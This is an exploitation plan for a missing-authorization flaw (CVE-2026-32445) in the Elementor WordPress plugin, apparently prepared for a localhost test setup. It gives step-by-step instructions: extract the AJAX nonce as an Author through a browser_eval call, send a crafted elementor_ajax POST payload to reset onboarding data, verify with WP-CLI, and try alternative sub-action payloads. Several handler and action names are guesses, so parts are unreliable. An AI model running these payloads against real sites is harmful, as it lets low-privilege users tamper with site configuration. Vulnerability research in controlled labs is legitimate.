Elementor Website Builder <= 3.35.5 - Missing Authorization (CVE-2026-32445) Research Plan

1. Vulnerability Summary

The Elementor Website Builder plugin (versions up to 3.35.5) contains a missing authorization vulnerability in its Onboarding module. Specifically, an AJAX handler registered under the elementor_ajax action fails to perform a sufficient capability check (e.g., manage_options). This allows authenticated users with Author-level access (capability edit_posts) to execute privileged actions related to site onboarding and experiments, such as resetting the onboarding wizard or clearing configuration data.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: elementor_ajax
• Sub-Action: onboarding_reset_onboarding (inferred from JS clearAllOnboardingData) or onboarding_update_step.
• Method: POST
• Parameters:
  • action: elementor_ajax
  • actions: A JSON-encoded string containing the sub-action and its data.
  • _nonce: A valid AJAX nonce obtained from the page context.
• Authentication: Authenticated (Author role or higher).
• Preconditions: Elementor must be active, and the onboarding process should have been initiated or completed (to see the effect of the reset).

3. Code Flow

1. Entry Point: The request hits admin-ajax.php with action=elementor_ajax.
2. AJAX Manager: WordPress dispatches to Elementor\Core\Common\Modules\Ajax\Module::handle_ajax().
3. Global Check: The handle_ajax function typically checks if the user has the edit_posts capability (default for Authors).
4. Sub-action Dispatch: The manager iterates through the actions JSON array. For an action like onboarding_reset_onboarding, it looks for the handler in the Onboarding module.
5. Vulnerable Sink: The handler function in Elementor\App\Modules\Onboarding\Module (likely named ajax_onboarding_reset_onboarding or similar) executes logic to delete options (e.g., delete_option( 'elementor_onboarding_data' )) without verifying that the user has manage_options permissions.

4. Nonce Acquisition Strategy

The elementor_ajax endpoint requires a nonce. In Elementor, this nonce is localized for authenticated users and accessible via the elementorCommonConfig JavaScript object.

1. Access Point: Log in as an Author and navigate to the WordPress Dashboard (/wp-admin/) or the Elementor Editor for a post.
2. Extraction: Use browser_eval to extract the nonce from the global JS configuration.
3. JS Variable: window.elementorCommonConfig?.ajax?.nonce or window.elementorAdminConfig?.ajax?.nonce.

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a user with the Author role.

Step 2: Nonce Extraction

Navigate to /wp-admin/ and execute:

browser_eval("window.elementorCommonConfig?.ajax?.nonce || window.elementorAdminConfig?.ajax?.nonce")

Step 3: Send Malicious AJAX Request

Send a POST request to admin-ajax.php to reset the onboarding data.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=elementor_ajax&_nonce=[EXTRACTED_NONCE]&actions={"onboarding_reset_onboarding":{"action":"onboarding_reset_onboarding","data":{}}}
  

  (Note: The sub-action name onboarding_reset_onboarding is grounded in the JS call clearAllOnboardingData found in the bundle.)

6. Test Data Setup

1. Plugin Installation: Install and activate Elementor 3.35.5.
2. Complete Onboarding: As an Admin, complete the Elementor onboarding wizard or manually set the option:
   wp option update elementor_onboarding_data '{"completed":true,"step":"done"}'
3. Create Author: Create a user with the Author role.
   wp user create attacker attacker@example.com --role=author --user_pass=password

7. Expected Results

• HTTP Response: Status 200 OK.
• JSON Response: {"success":true,"data":{"responses":{"onboarding_reset_onboarding":{"success":true,"data":[]}}}}
• Database Effect: The elementor_onboarding_data option will be deleted or its completed status will be set to false.

8. Verification Steps

After the exploit, use WP-CLI to check if the onboarding state was reset:

wp option get elementor_onboarding_data

If the exploit worked, this command should either return an error (option not found) or show that the "completed" status is missing/false.

9. Alternative Approaches

If onboarding_reset_onboarding is not the correct action name, try the following sub-actions often found in Elementor's Onboarding/Experiments modules:

• onboarding_set_step with data={"step": "1"}
• onboarding_init_maybe
• onboarding_complete_step
• elementor_reset_experiments (related to clearExperimentData in the JS bundle)

Example Alternative Payload:

actions={"onboarding_set_step":{"action":"onboarding_set_step","data":{"step":"1"}}}

Reference the JS localization keys from assets/js/357684d6580904fc0a95.bundle.min.js:

• STEP4_SITE_STARTER_CHOICE
• EDITOR_LOAD_TRACKED
• POST_ONBOARDING_CLICK_COUNT